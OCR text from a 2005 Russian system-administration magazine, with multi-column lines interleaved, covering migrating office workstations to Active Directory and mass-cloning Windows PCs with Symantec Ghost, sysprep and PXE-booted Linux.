ти, имеющую необходимый объ- ! Назначен день «X», в который ник- предыдущего локального имени – но-
ем дискового пространства, а вто- то из пользователей не будет ра- вый профиль будет создан с префик-
рую – на указанный носитель, ко- ботать. Оптимальны – два выход- сом <имя домена>. Это сделано для
торый сразу уберите подальше. ных дня – за один можно не успеть. того, чтобы не повредить предыдущие
! Наличие возле каждого рабочего При этом должен быть обеспечен настройки. Сразу после первого входа
места заполненных пользователя- пропускной режим на предприятие в систему завершаем сеанс пользова-
ми анкет, с указанием данных, ко- и доступ во все помещения с ком- теля и входим уже с учетной записью
торые необходимо сохранить/пере- пьютерами. администратора домена для перене-
нести со старой системы. Подразу- сения документов и настроек из ста-
мевается, что вы сможете расшиф- Переход к Active Directory рого профиля. Заходим в папку профи-
ровать записи пользователей, поэ- Итак, назначенный день наступил и не- лей (на системах Windows 2000 и вы-
тому заранее проведите все уточ- обходимо начинать работы по созда- ше это папка Documents and Settings)
нения. Также необходимо знать, где нию домена. Еще раз убедитесь, что и копируем необходимые нам элемен-
хранятся рабочие данные исполь- все данные с перенастраиваемого сер- ты в новый профиль (см. рис. 2). Обра-
зуемых пользователями программ вера сохранены в надежном месте. тите внимание – не переносим, а имен-
и ОС. Будьте осторожны с такими Устанавливаем серверную опера- но копируем, чтобы осталась возмож-
программами, как Microsoft Outlook ционную систему, обновления, про- ность воспользоваться локальным вхо-
и Microsoft Outlook Express – их фай- водим все первичные настройки. Со- дом в систему со старыми учетными
лы данных располагаются в профи- здаем и настраиваем домен (подроб- данными. Таким образом, у вас будет
лях пользователей, причем «зако- но этот процесс многократно описан, возможность войти в систему локаль-
паны» довольно глубоко: в том числе в [1]). После проверки ра- но и посмотреть необходимые настрой-
! Данные Microsof t Outlook – ботоспособности домена вводим в не- ки. Например, для баз «1С:Предпри-
%USERPROFILE%\Local Settings\ го рабочие станции пользователей. ятие 7.7», в большом количестве при-
A p p l i c at i o n D at a \ M i c r o s o f t \ Еще перед вводом в домен озаботь- сутствующих у сотрудников бухгалте-
Outlook\*.pst. тесь их корректным именованием, при- рии, достаточно сохранить один раз-
! Данные Microsoft Outlook меняя только латиницу, без пробелов. дел реестра (HKEY_CURRENT_USER\
Express – %USERPROFILE%\ Русские имена не поддерживаются Software\1C\1Cv7\7.7\Titles) и затем вне-
Local Settings\Application Data\
Identities\{< цифровой код >}\
Корпорация Microsoft\Outlook
Express\*.*.
! Адресная книга: %USERPRO-
FILE%\Application Data\Microsoft\
Address Book\*.wab. Рисунок 2. Копирование информации из старого профиля в новый

10
администрирование
сти информацию из него после входа ние на том, что делегируются права ло- ва. ваши реплики при общении долж-
в домен. Полностью копировать содер- кального администратора на конкрет- ны быть спокойными и уравновешен-
жимое старого профиля не рекоменду- ной локальной станции, а не права ад- ными: «Не волнуйтесь, сейчас все на-
ется без особых оснований, чтобы не министратора домена! В грамотно на- стройки восстановим. Мне понадобит-
перетаскивать ненужный мусор – если строенной сети даже если пользова- ся ваша помощь» и т. д. Рекомендуется
что-то понадобится – всегда можно бу- телю оставить эти права для работы – повесить на входе объявление о «Пере-
дет потом достать. кроме настроек своего компьютера ходе на новую систему» с просьбой по
Проверив работоспособность пер- он ничего испортить не сможет. всем вопросам обращаться к вам.
вой рабочей станции домена, можно После перенастройки системы вы
переходить к вводу в домен остальных, Начинаем работать услышите множество возгласов в сти-
повторяя описанную процедуру. с доменом AD ле: «Все мои документы пропали!».
Несмотря на то, что при входе поль- Разумеется, что первое тестирование Главное не паниковать – если все было
зователя в домен создается новый работоспособности системы должны сделано грамотно и архивы созданы, –
профиль, а старый остается невреди- проводить вы – еще до того, как поль- восстановить связи недолго. Не стоит
мым – все равно крайне рекомендует- зователи выйдут на свои рабочие мес- метаться от одного пользователя к дру-
ся создавать архивную копию указан- та. При перенесении настроек из ста- гому – по очереди подойдите к каждо-
ных данных в независимом месте. Ес- рых профилей в новые необходимо му и попросите при вас проверить ра-
ли же на рабочей станции производи- на каждом рабочем месте сымитиро- ботоспособность системы. Устраните
лась переустановка ОС, то все пользо- вать работу конкретного пользовате- самые срочные проблемы и перейди-
вательские данные необходимо будет ля – открыть несколько документов, те к следующему пользователю. Если
восстанавливать именно из упомяну- проверить работоспособность почты, в процессе исследований какие-то на-
того архива. баз данных и пр. Не поленитесь сде- стройки или документы пользователей
При переносе данных из одного лать это, иначе в первый час работы были утрачены – немедленно просмот-
профиля в другой помните, что если фирмы вам придется «разрываться рите информацию, указанную пользо-
пользователь не будет являться ло- на части» между компьютерами, вос- вателем в анкете компьютера. Если там
кальным администратором компью- станавливая работоспособность конк- ничего не говорится об этих данных –
тера, то может возникнуть необходи- ретных программ. Например, осущест- вы тоже не экстрасенс и догадываться
мость принудительного делегирования вив первый вход в систему, обязатель- на астральном уровне не могли. Пояс-
ему необходимых разрешений NTFS. но поочередно запустите программы ните это пользователю. Именно поэто-
Например, на папку почтового ящика семейства Microsoft Office – при пер- му очень важно несколько раз предуп-
в программе The_Bat и пр. В против- вом запуске с новым профилем поль- редить пользователей об ответствен-
ном случае вы можете столкнуться с зователя они произведут необходимые ности при заполнении анкеты.
ситуацией, когда пользователь будет настройки, возможно, потребовав дис- Практика показывает, что при адек-
видеть документ (ярлык, папку и пр.), трибутивные файлы. В противном слу- ватной психологической реакции ад-
а в доступе ему будет отказано. Это же чае пользователь, ткнув в любой до- министратора (профессионализм, спо-
касается настроек и данных программ кумент Office, запустит этот процесс, койствие и невозмутимость) такие про-
– если какая-либо программа после получив при этом сообщение о недо- екты осуществляются ровно и по пла-
переноса настроек отказывается ра- ступности файла. Практика показы- ну. Разумеется, что речь идет именно
ботать, – прежде всего проверьте пра- вает, что это наиболее частое упуще- о корректной реализации такого внед-
ва доступа нового пользователя к ра- ние. То же самое с путями и правами рения. Если перебои в работе предпри-
бочим папкам программы. В ситуаци- к базам системы «1С:Предприятие» – ятия или потеря данных была вызвана
ях, когда затруднительно понять, ку- выше описан способ восстановления ошибками системного администрато-
да же именно не хватает прав досту- таких настроек. Не забывайте также ра – стоит задуматься о повышении
па и в этом ли заключается проблема, про папки с общим доступом и прочие квалификации и не браться за подоб-
можно на время делегировать пользо- сетевые ресурсы – их все необходимо ные проекты.
вателю права локального администра- будет восстановить и проверить рабо- Автор статьи реализовал более 200
тора и заново произвести вход в систе- тоспособность и права доступа. Также подобных и более сложных проектов
му. Если проблема локализована и ос- часто пользователи для доступа к се- системной интеграции и частично опи-
тается определить объекты доступа – тевым ресурсам используют быстрые сал свой личный опыт работы.
можно воспользоваться любым сис- ссылки, автоматически создаваемые
темным монитором от стороннего про- в папке «Сетевое окружение». Литература:
изводителя, позволяющим вести жур- В первый день ввода в эксплуата- 1. Марков Р. Установка и настрой-
нал обращения к объектам. Я исполь- цию новой системы вы должны поя- ка Windows 2К Server. – Журнал
зую для этих целей программу Filemon виться на предприятии раньше всех. «Системный администратор» №10,
от Sysinternals. Она удобна тем, что Если вы позволите себе опоздать, ре- 2004 г. – 88-94 с.
не требует инсталляции и показывает акция пользователей будет непред- 2. Microsoft Windows 2000 Active
не только файловую активность, но и сказуемой – от недоумения до паники. Directory Services. Учебный курс.
результаты обращения к реестру, а так- Главное – не позволяйте пользовате- Издательство: Русская Редакция –
же к Named Pipes. Акцентирую внима- лям сеять эту панику среди коллекти- http://www.rusedit.ru.

№9, сентябрь 2005 11


администрирование

SYMANTEC GHOST,
ИЛИ КАК СДЕЛАТЬ КЛОН СВОИМИ РУКАМИ

МИХАИЛ ПЛАТОВ
Вам наверняка приходилось сталкиваться с ситуацией, когда нужно было
установить несколько компьютеров с абсолютно одинаковым набором программ.
«Тупая механическая работа – думали вы, – почему нельзя просто взять и скопировать?».
Собственно, а кто сказал, что нельзя? Очень даже можно, и сегодня вы узнаете как!

Первое знакомство Итак, что же может делать Symantec мыми лицензиями для эксплуата-
Поддержка парка компьютеров боль- Ghost? Полный ответ приводится на бо- ции ПО на необходимом количес-
шого предприятия – задача не из лег- лее чем трехстах страницах сопрово- тве компьютеров).
ких. Наиболее удручающая часть – ру- дительного руководства [1]. Коротко ! Резервное копирование. С помо-
тинная работа по обслуживанию ком- же можно сказать так: «Symantec Ghost щью Ghost можно делать резерв-
пьютеров. Наиболее типичные задачи: позволяет значительно облегчить уста- ные копии нескольких папок, раз-
установка ОС, поддержка ее работос- новку и поддержку ОС и программно- делов и жестких дисков. Поддержи-
пособности, модернизация оборудова- го обеспечения в организации». Крат- ваются как полные, так и инкремен-
ния, миграция настроек пользователей ко перечислю его наиболее интерес- тальные резервные копии.
и т. д. Для решения этих проблем мож- ные функции: ! Восстановление компьютеров до
но использовать платформу Windows ! Массовое «клонирование» компью- «известного» состояния. С помо-
Server System. Так, благодаря Active теров. Представьте, что вам необ- щью планировщика заданий мож-
Directory упрощается управление учет- ходимо установить операционную но по заданному расписанию пе-
ными записями пользователей органи- систему, а также некий набор про- риодически (например, раз в день)
зации, а с помощью Remote Installation грамм на 100 только что купленных восстанавливать ОС на компьюте-
Services (RIS) можно автоматизировать компьютеров. С помощью Symantec рах до известного состояния. Дан-
процесс установки операционной сис- Ghost можно изготовить так назы- ная схема особенно полезна для
темы. Однако возможности RIS небез- ваемый «эталонный образ», содер- интернет-салонов, учебных заве-
граничны, поэтому и существуют про- жащий все необходимые програм- дений, а также других мест, в ко-
дукты партнеров Microsoft, к числу ко- мы, а затем растиражировать его торых за компьютерами работает
торых относится и Symantec. О продук- на необходимое количество ком- большое количество слабо конт-
те Symantec Ghost 8.0 Corporate Edition пьютеров (при этом предполагает- ролируемых пользователей. Кро-
и пойдет речь в этой статье. ся, что вы располагаете необходи- ме того, при такой схеме для уста-

12
администрирование

FAQ
Можно ли с помощью Ghost клонировать
Linux, установленный на ext2/3 файло-
вую систему?
Можно, но в этом случае образ будет де-
латься посекторно, со всеми вытекающи-
ми отсюда последствиями (невозможность
изменения размера раздела при клониро-
Рисунок 1. Структура Symantec Ghost вании, отсутствие возможности просмотра
новки новой программы на все ком- бой конфигурации» (Symantec Ghost и редактирования файлов в образе).
пьютеры достаточно просто один Configuration Service), СУБД Adaptive
раз обновить используемый мас- Server Anywhere 7.0 и графической кон- Можно ли с использованием Ghost кло-
тер-образ. солью управления (Ghost Console). нировать Windows 2000/2003 серверы?
! Централизованное управление В составе клиента условно можно Технически ghost способен сделать об-
компьютерами – с помощью кон- выделить два основных компонента: раз раздела или диска сервера, который
соли можно выполнять на управ- ! Ghost-раздел на жестком диске. в дальнейшем может использоваться как
ляемых компьютерах любые коман- ! Клиент Ghost-консоли, работаю- резервная копия или как образ для мигра-
ды и файлы, а также получать ин- щий как системная служба ОС. ции. Если же предполагается создание до-
формацию от системных объектов полнительной копии существующего сер-
WMI. Так, по определенному при- Существует два типа Ghost-разде- вера, например, для работы в качестве
знаку (тип ОС, объем установлен- лов: реальный раздел на жестком дис- резервного контроллера домена, то ghost
ной памяти и другие параметры) ке (FAT12, 16 Мб) и так называемый для этих целей лучше не использовать. Де-
можно выделить группу компьюте- «виртуальный» раздел. Первый явля- ло в том, что многие серверные службы
ров и выполнить для них некоторую ется обычным загрузочным DOS-раз- при установке создают собственные уни-
команду (запуск файла установки делом, с которого при необходимос- кальные идентификаторы. При клонирова-
обновления ПО, специализирован- ти запускается DOS-версия клиента нии Ghost изменит только SID компьюте-
ная утилита и т. д.). Ghost. (Например, при обновлении ОС ра (с помощью Ghost Walker или sysprep).
! Миграция параметров пользовате- компьютера). В отличие от реального Идентификаторы служб потеряют свою
лей – используя встроенные средс- раздела, виртуальный создается в не- уникальность, что в свою очередь может
тва, можно перенести файлы и па- фрагментированном файле, на загру- привести к сбоям в их работе.
раметры учетной записи пользо- зочном системном диске. Если вы пла-
вателя при установке новой вер- нируете периодически обновлять ОС, Как клонирование отражается на фай-
сии операционной системы. то лучше создать выделенный раздел лах, зашифрованных с помощью EFS?
! Централизованная установка ПО – для клиента, если же Ghost будет пре- Если при клонировании вы изменяете SID
создавая специальные пакеты ус- имущественно использоваться только (с помощью sysprep, Ghost Walker или дру-
тановки (AI Packages), можно прос- для выполнения команд, установки ПО, гого средства), то зашифрованные файлы
то и быстро устанавливать допол- получения информации и редкой пере- прочитать будет невозможно. Если же де-
нительное ПО на компьютеры, уп- установки ОС, то можно ограничиться лаете копию диска в целях резервирова-
равляемые Ghost-сервером. виртуальным разделом. ния, то SID не изменится и зашифрованные
! Поддержка популярных файло- Работа в Ghost происходит по сле- файлы будут читаться так же, как и на ри-
вых систем. Symantec Ghost может дующему сценарию: гинальном компьютере.
на уровне файлов работать с фай- ! С помощью консоли администра-
ловыми системами FAT, FAT32, тор назначает компьютеру зада- Можно ли с помощью Ghost клонировать
NTFS и Linux Ext2/3. ние (запись раздела жесткого дис- ОС, установленную на RAID-массиве?
! Возможность работы с различными ка, установка пакета ПО, копирова- Нет, работа с RAID-массивами не подде-
устройствами. Для хранения обра- ние фалов, применение парамет- рживается.
зов могут использоваться локаль- ров компьютера, выполнение фай-
ные жесткие диски, сетевые ресур- ла и т. д.). Итак, думаю общее рассмотрение
сы, CD и DVD-приводы, устройства ! Сервер конфигурации подключа- на этом можно закончить и плавно пе-
USB 1.1/2.0 и FireWire (IEEE1394). ется к клиенту и сообщает ему ко- рейти к практической части нашего ис-
манду, которую необходимо выпол- следования.
Д ля лучшего понимания при- нить.
нципов работы, давайте посмотрим ! В зависимости от типа команды Устанавливаем
на Symantec Ghost изнутри. клиент либо выполняет ее непос- Ghost-сервер
Как видно из рис. 1, Symantec Ghost редственно из Windows, либо загру- В качестве примера рассмотрим реше-
представляет собой типичное кли- жает DOS-версию клиента и выпол- ние проблемы, которую мы рассмотре-
ент-серверное приложение. Сер- няет ее оттуда (например, в случае ли выше – установка 10 новых компью-
верная часть представлена «Служ- записи раздела диска). теров с возможностью их периодичес-

№9, сентябрь 2005 13


администрирование
! AI Builder – инструмент создания па-
Меняем HAL планируете установить ACPI-ядро вместо кетов установки ПО для их после-
А зачем вообще может понадобиться сме- Standard PC, то, скорее всего, придется пе- дующего централизованного раз-
на HAL? В нашем случае целью является реустанавливать ОС, слишком сильны от- мещения через Ghost-консоль.
создание «универсального образа ОС», ра- личия в реестре. Если же нужно заменить ! Ghost Explorer – программа, позво-
ботающего на компьютерах различной кон- одно ACPI-совместимое ядро на другое, ляющая просматривать и редакти-
фигурации, хотя могут быть и другие при- то можно обойтись без переустановки. ровать Ghost-образы.
чины: например, вы купили новую материн- Рассмотрим сказанное на примере. До-
скую плату с поддержкой HyperThreading, пустим мы хотим обновить HAL для под- На этом ненадолго оставим наш
а переустанавливать заново ОС и все про- держки HyperThreading. Из дистрибути- сервер и перейдем к клиентскому ком-
граммы особого желания нет. ва Windows (или файла drivers.cab) возь- поненту.
Можно выделить два варианта заме- мем файлы ntkrnl.exe и halmacpi.dll и ско-
ны HAL – смена «более продвинутого HAL» пируем их в папку system32 инсталляции Изготавливаем клон
(нижние строки таблицы 1) на более «ста- Windows. Затем откроем файл boot.ini и Первое, что нам понадобится сде-
рый» (верхние строки таблицы 1). В этом продублируем последнюю строчку, доба- лать, – создать эталонный образ, кото-
случае подойдет стандартное средство – вив к ней параметры /kernel=ntkrnlmp.exe рый впоследствии и будет растиражи-
диспетчер устройств. Найдем устройство /hal=halmacpi.dll. рован на все компьютеры. При этом мы
компьютер, в контекстном меню выберем Должно получиться нечто похожее можем использовать как образ всего
«Обновить драйвер» и в режиме ручной ус- на это: жесткого диска (содержащий загруз-
тановки выберем нужный HAL из списка. ulti(0)disk(0)rdisk(0)partition(1) ↵ чик и все разделы), так и образ одно-
К сожалению, для обратной замены WINDOWS="XP Professional MP" ↵ го системного раздела ОС. Второй спо-
/noexecute=optin /fastdetect ↵
(более старого HAL на продвинутый), на- /kernel=ntkrnlmp.exe ↵ соб является более гибким и, возмож-
чиная с Windows XP и выше, такой способ /hal=halmacpi.dll но, чуть более сложным. Именно его
не работает, и HAL придется менять вруч- Теперь перезагрузимся и проверим мы и рассмотрим.
ную. новый HAL, открыв Task Manager. На ком- Итак, возьмем наиболее типичный
Для начала определитесь с типом HAL, пьютерах с поддержкой HT процессоров компьютер и приступим к установке.
который вы хотите установить. Если вы будет два. Первым делом переразметим диск,
удалив с него все разделы. Для ОС
кого сброса до начального состояния. Ghost Database Service и Symantec и сопутствующих программ созда-
Для усложнения задачи будем считать, Ghost Win32 Configuration Server. Пер- дим 10 Гб primary-раздел. Оставшее-
что компьютеры имеют различные ап- вая служба представляет собой СУБД ся место используем по собственно-
паратные конфигурации. Adaptive Server Anywhere 7.0, которая му усмотрению, например, для хране-
Первое, что нам потребуется сде- используется для хранения служеб- ния файлов. В установке ОС нет ни-
лать, – установить Ghost-сервер. ных данных, вторая – сервер конфигу- каких особенностей (здесь предпола-
Для этого скачаем с сайта Symantec [2] рации Ghost, отвечающий за взаимо- гается, что используется корпоратив-
ознакомительную версию Symantec действие с Ghost-клиентами. ная версия Windows XP SP2, не тре-
Ghost 8.0 Trialware (90 Мб). Эта версия В программном меню будет созда- бующая повторной активации при из-
обладает полной функциональнос- ны ярлыки для запуска следующих менении оборудования). Единствен-
тью, ограничением же является макси- компонентов: ное, при использовании XP SP2 при-
мальное число обслуживаемых клиен- ! Symantec Ghost Console – как сле- шлось отключить режим «Простого об-
тов – 10, а также суммарное количес- дует из названия, это и есть основ- щего доступа к файлам» и активиро-
тво операций, которые можно выпол- ной компонент, с помощью кото- вать исключающее правило для служ-
нить из консоли – 20. Процесс инстал- рого осуществляется управление бы «File and Printer Sharing» в парамет-
ляции не должен вызвать каких-либо зарегистрированными рабочими ры firewall. Разрешения для Ghost-кли-
затруднений – стандартные диалоги станциями. ента в Windows Firewall добавились ав-
мастера InstallShield. Установка с па- ! GhostCast Server – с помощью это- томатически.
раметрами по умолчанию (все компо- го приложения можно вручную ор- Для централизованного управле-
ненты) нас вполне устроит. ганизовывать передачи ghost-обра- ния установим на подопытную маши-
Системные требования для сервера зов клиентам. Очень полезно при ну клиента Ghost-консоли. Для это-
более чем скромные – ОС Windows 2000 первом подключении компьютеров го зайдем на сервер, запустим Ghost
SP4 или выше с 96 Мб ОЗУ. После ус- к консоли. При выполнении зада- Console и в меню Tools выберем пункт
тановки сам Ghost занял 72 Мб на дис- ний из консоли GhostCast Server Remote Client Install. В появившемся
ке. Требования к клиентам еще смеш- будет запускаться автоматически. списке выберем нужный компьютер
нее – процессор от 386. Поддержива- ! Ghost Boot Wizard – с помощью и нажмем кнопку «Add >>». Затем вве-
емые клиентом ОС – от Windows 9x этой утилиты можно формировать дем имя и пароль пользователя, име-
до Windows XP, Linux (желательно загрузочные носители (дискета, ющего доступ к машине, в нашем слу-
с файловой системой ext2 или ext3). компакт-диск, загрузочный раздел чае таким пользователем будет ло-
После установки буду т созда- жесткого диска), содержащие DOS- кальный администратор. После нажа-
ны две системные службы: Symantec клиента Ghost. тия кнопки «Install» сервер подключит-

14
администрирование
ся к компьютеру и установит на него ется на этапе установки ОС, в зави-
Ghost-клиента. симости от типа имеющегося в ком-
Если же по каким-то причинам дис- пьютере оборудования. Так, для ком-
танционно установить клиента не уда- пьютеров на основе чипсета i440LX/
лось, то можно провести установку BX, скорее всего, будет выбран HAL
вручную. Дистрибутив клиента можно PIC или APIC, в то время как на бо-
взять либо на компакт-диске продукта, лее новых материнских платах (боль-
либо в папке установки сервера. При шинство выпущенных после 1999 го- Рисунок 2. Стандартные версии
драйверов
запуске необходимо указать имя ком- да) при установке, скорее всего, будет
пьютера с Ghost-сервером. Через не- выбрана ACPI-версия HAL. Соответс- водителя) то ОС, как правило, старто-
которое время после установки маши- твенно, если эталонная система изго- вать отказывалась. Причина такого по-
на появится в Ghost-консоли. тавливалась на компьютере с полной ведения достаточно проста. ОС загру-
поддержкой ACPI (в диспетчере уст- жается, попутно инициализируя извес-
Подготавливаем образ ройств для компьютера написано ACPI тные ей устройства. Думаю, не нуж-
После завершения инсталляции про- Uniprocessor PC), то растиражировать но быть пророком, чтобы догадаться,
грамм перейдем к наиболее интерес- образ можно будет только на такие же что скажет IDE контроллер Intel, когда
ному моменту – подготовке системы 100% ACPI-совместимые компьютеры. с ним будут говорить на языке конт-
к тиражированию. При этом нам не- С другой стороны, использовать HAL роллера VIA или AMD. Мы же при этом
обходимо будет решить две основные Standard PC на современных компью- обычно видим «синий экран» с над-
проблемы: терах тоже не совсем правильно. писью «Inaccessible boot device». Что-
! Добиться переносимости образа Таким образом, выбор в пользу бы этой ситуации избежать, посту-
между компьютерами с различным конкретного HAL следует произво- пим следующим, неоднократно про-
оборудованием. дить исходя из реального парка ком- веренным способом: перед перено-
! Сделать так, чтобы ОС-клоны смог- пьютеров. В нашем примере мы будем сом системы с помощью диспетчера
ли работать в одной сети. использовать компромиссный вари- устройств заменим драйверы контрол-
ант HAL – Advanced Configuration and лера IDE и его каналов стандартными
Истоки первой проблемы скрыва- Power Interface (ACPI) PC, поддержи- версиями. Перезагружать компьютер
ются в недрах архитектуры Windows NT, вающий часть спецификаций ACPI. при этом не нужно (рис. 2).
а именно – в механизме работы ОС В этом случае мы, с одной стороны, Далее можно выключить компью-
с оборудованием. В Windows NT сущес- получим большинство функций Power тер, вытащить диск, переставить его
твует так называемый HAL (Hardware Management, а с другой стороны, обес- в другую машину, например, с другой
Abstraction Layer) – уровень абстрак- печим хорошую переносимость кло- аппаратной конфигурацией, при необ-
ции от оборудования, скрывающий на. Гораздо проще поддерживать один ходимости установить недостающие
от ядра ОС особенности работы с фи- клон, чем по одному для каждой ли- драйверы и убедиться, что все коррек-
зическими устройствами. Ничего пло- нейки, особенно если линеек таких тно работает. Повторив эту операцию
хого в самой идее HAL нет, скорее да- много. для каждого типа используемых ма-
же наоборот, просто его конкретная Однако успех переноса определя- шин, мы доставим в систему все не-
реализация в ОС Windows вызывает ется не только текущим HAL, но и драй- обходимые драйверы, тем самым из-
некоторые трудности применитель- верами, используемыми в системе. бавив себя от проблем с их установ-
но к массовому тиражированию. Де- Так, наверняка многие из вас пробо- кой после клонирования. На этом пер-
ло в том, что в Windows существует вали переставлять жесткий диск с ус- вую проблему (переносимость) мож-
несколько различных HAL. Так есть тановленной ОС в другой компьютер, но считать решенной и теперь перей-
HAL PIC, APIC, MP и несколько версий причем если в этом компьютере ис- дем ко второй.
ACPI (cм. таблицу 1). Выбор в пользу пользовался другой чипсет (более но- Причины второй проблемы кроются
применения конкретного HAL дела- вая версия или чипсет другого произ- в механизмах работы ОС Windows NT
Таблица 1. Возможные типы HAL, используемые Windows

№9, сентябрь 2005 15


администрирование
в рамках сети. В доменах и ра- по собственному усмотрению.
бочих группах компьютеры Сохраним файл под именем
идентифицируются по име- sysprep.inf (рис. 3).
ни и уникальному идентифи- Теперь вернемся к Ghost-
катору безопасности – SID консоли и создадим зада-
(Security Identifier), создавае- ние для получения образа.
мому на этапе установки ОС. Для этого откроем раздел
Таким образом, скопировав меню Tasks, щелкнем правой
диск «в лоб» мы получим вто- кнопки мыши в области спра-
рую копию операционной сис- ва и в появившемся меню вы-
темы, имеющую точно такие берем параметр «New Image
же SID компьютера и пользо- Create Task» (см. рис. 5).
вателей. С практической сто- В появившемся окне за-
Рисунок 3. Окно диалога Setup Manager
роны эта ситуация будет вы- дадим имя задания – Dump
глядеть следующим образом: Image, выберем диск, раздел
из всех наших клонов только и компьютер, с которого бу-
один сможет войти в рабочую дет делаться образ. Напро-
группу или домен. тив «Image Name» нажмем
Итак, как вы уже, навер- «Browse», и укажем имя фай-
ное, догадались, решением ла, которое будет использо-
второй проблемы является ваться для хранения образа
изменение имен и компью- (см. рис. 4).
теров и их идентификаторов На закладке «Network» вы-
безопасности (SID). Для этого берем режим «Unicast» и, ес-
можно использовать как ми- ли необходимо, зададим огра-
нимум 2 средства: ничение на максимально ис-
! Symantec Ghost Walker пользуемую пропускную спо-
! Microsoft Sysprep собность сети. Затем перей-
дем на закладку «Sysprep»,
Первое средство входит активируем параметр «Run
в состав корпоративной вер- Microsoft Sysprep on machine
сии Ghost и предназначе- before creating image» и созда-
но специально для измене- дим sysprep-конфигурацию
ния идентификаторов безо- с использованием файлов,
Рисунок 4. Диалог создания задания
пасности. распакованных из deploy.cab.
Второе, более полно именуемое «sysprep setup»), далее укажем тип ис- После запуска этого задания на маши-
как System Preparation Tool, выпускает- пользуемой нами ОС, а на последний не-эталоне загрузится DOS-клиент, ко-
ся корпорацией Microsoft для тиражи- вопрос мастера выберем ответ с пол- торый начнет передачу образа на сер-
рования и аудита ОС Windows 2000/XP ной автоматизацией установки («Yes, вер (см. рис. 6).
корпоративными клиентами, реселле- fully automate the installation»). В появив-
рами и дистрибьюторами. Ввиду боль- шемся окне мы можем ввести ответы Предстартовый отсчет
шей гибкости и универсальности для на вопросы, задаваемые при установ- Как только образ скопируется, можно
решения нашей задачи будем исполь- ке. Для успешного клонирования опре- будет перейти к заключительному эта-
зовать sysprep. Помимо самой утили- делим следующие значения полей: пу – массовой установке ОС на клиент-
ты нам понадобится сделать так назы- ! Time Zone – выберем GMT+3. ские компьютеры. А пока идет копи-
ваемый «файл ответов», в котором бу- ! Product Key – введем серийный но- рование, произведем небольшую на-
дут указаны параметры, которые бу- мер ОС. стройку рабочих станций. Как вы уже,
дут использоваться для автоматиза- ! Computer Name – выбрать вари- наверное, догадались, для передачи
ции установки. Утилиту sysprep возь- ант с автоматической генерацией образа на рабочие станции нам по-
мем с компакт-диска Windows XP из ар- имен. надобится предварительно запустить
хива deploy.cab, находящегося в пап- ! Networking Components – использо- на них Ghost-клиента. Сделать это
ке support\tools. Разархивировав со- вать DHCP. можно двумя способами.
держимое архива, на Ghost-сервер за- ! Workgroup or domain – необходимо
пустим файл setupmgr.exe. С его помо- оставить вариант с включением в
щью мы создадим файл ответов для рабочую группу.
sysprep. В первом диалоге укажем, ! Regional Settings, Languages – вы-
что мы хотим создать новый файл брать русский язык.
(пункт «create new»), во втором выбе-
рем файл ответов для sysprep (опция Остальные поля можно заполнить Рисунок 5. Создание задания

16
администрирование

Рисунок 6. Передача образа в DOS-клиенте Рисунок 7. Копирование конфигурации компьютеров

Способ 1: загрузка DOS-версии ! Создать образ загрузочного раз- лать это можно с помощью следу-
Ghost-клиента с помощью 2 загру- дела Ghost, содержащий Ghost- ющей команды:
зочных дискет. Создать дискеты мож- клиента и драйверы сетевых карт.
но с помощью мастера «Ghost boot Для создания образа использует- # dd if=/dev/hda of=/home/hda ↵
count=32256 ibs=512
Wizard». В этом случае нужно будет ся тот же самый мастер, вариант
322256+0 records in
вручную загрузить все необходимые «Console Boot Partition». Для до- 322556+0 records out
компьютеры, запустить GhostCast- бавления драйверов нескольких
сервер и передать клиентам файл-об- карт можно использовать пункт Через PXE загрузить все осталь-
раз. Данный способ прост, и его впол- «Multicard Template». ные компьютеры и записать на них
не можно использовать, если машин ! При помощи стандартных средств полученный образ. (Внимание!
немного и регулярно клонировать их, (GhostCast-сервер и дискеты) за- При этом вся информация на пер-
скорее всего, не придется. писать полученный образ на один вом жестком диске будет уничтоже-
Если же ситуация иная, то больше из целевых компьютеров (но не на!) В самом простом случае доста-
подойдет способ 2: автоматизирован- на тот, на котором мы сделали точно модифицировать стартовые
ная установка служебного Ghost-раз- клон) в режиме копирования дис- скрипты дистрибутива так, чтобы
дела. В этом случае с использованием ка. выполнялись команды dd и reboot.
механизмов сетевой загрузки на каж- ! Через PXE загрузить Linux с кор-
дом клиентском компьютере созда- невой файловой системой на NFS- После перезагрузки компьютеры
ется служебный загрузочный раздел, сервере. загрузят DOS-клиента Ghost и зарегис-
на котором размещается DOS-версия ! Скопировать загрузчик и первый трируются в консоли. Теперь создадим
клиента. раздел диска на NFS-сервер. Сде- для них конфигурации (имя компью-
В варианте «из коробки» тера, рабочая группа и т. д.),
для сетевой загрузки Ghost взяв в качестве шаблона ва-
используется механизм 3Com риант от компьютера-клона
DynamicAccess boot. Ввиду то- (см. рис. 7).
го, что эта технология подде- Вот теперь мы можем при-
рживается далеко не всеми ступать к клонированию ком-
сетевыми платами, рассмот- пьютеров.
рим другой, более универ-
сальный способ. Лейся, образ…
Идея следующая – сете- Для доставки образа созда-
вая загрузка Linux-системы дим задание Deploy Image.
с последующим копировани- Перейдем в раздел Tasks,
ем служебного раздела Ghost. и в контекстном меню мыши
При этом необходимо выпол- выберем пункт «New Task».
нить следующие шаги: Н а п е р в о й з а к л а д к е о т-
! Создать 2 загрузочные метим галочками «Clone»
дискеты с DOS-клиентом и «Configuration» и выберем
Ghost. Дискеты создают- группу подопытных машин
ся с помощью мастера (см. рис. 8).
«Ghost boot Wizard», вари- На второй закладке вы-
ант «Network boot disk». Рисунок 8. Основные настройки задания Deploy Image берем режим Multicast, на за-

№9, сентябрь 2005 17


администрирование
кладке «Clone», укажем, что мы После выполнения команды
будем разворачивать наш образ компьютеры перезагрузятся и под-
на второй раздел первого жестко- ключатся к домену.
го диска (см. рис. 9).
Для того чтобы второй раздел Заключение
не занял все оставшееся место на Справедливости ради нужно отме-
жестком диске, нажмем на кнопку тить, что существуют ситуации, в
Advanced и укажем дополнитель- которых не обязательно использо-
ный параметр командной строки: вать все компоненты продукта. Ес-
-szee. Убедимся, что на закладке ли вы занимаетесь предпродаж-
«Configuration» установлен пара- ной установкой ОС, то Ghost-кли-
метр «default», и нажмем «OK». ент и консоль нам вряд ли понадо-
Теперь в контекстном меню бится, а вот sysprep и компакт-диск
только что созданного задания вы- с DOS-версией клиента Ghost будут
берем пункт «Execute Task». Через как нельзя кстати. При помощи про-
несколько минут компьютеры загру- стого скрипта можно заранее запи-
зят DOS-версию клиента Ghost и на- сать ОС на десяток жестких дисков,
чнут передачу образа. Если процесс а затем просто при необходимости
прошел нормально, то после выпол- вставлять их в собираемые компью-
нения задания на всех компьютерах теры. Похожий метод будет полезен
группы будет установлена «свежая» Рисунок 9. Настройки клонирования задания и при установке нескольких машин
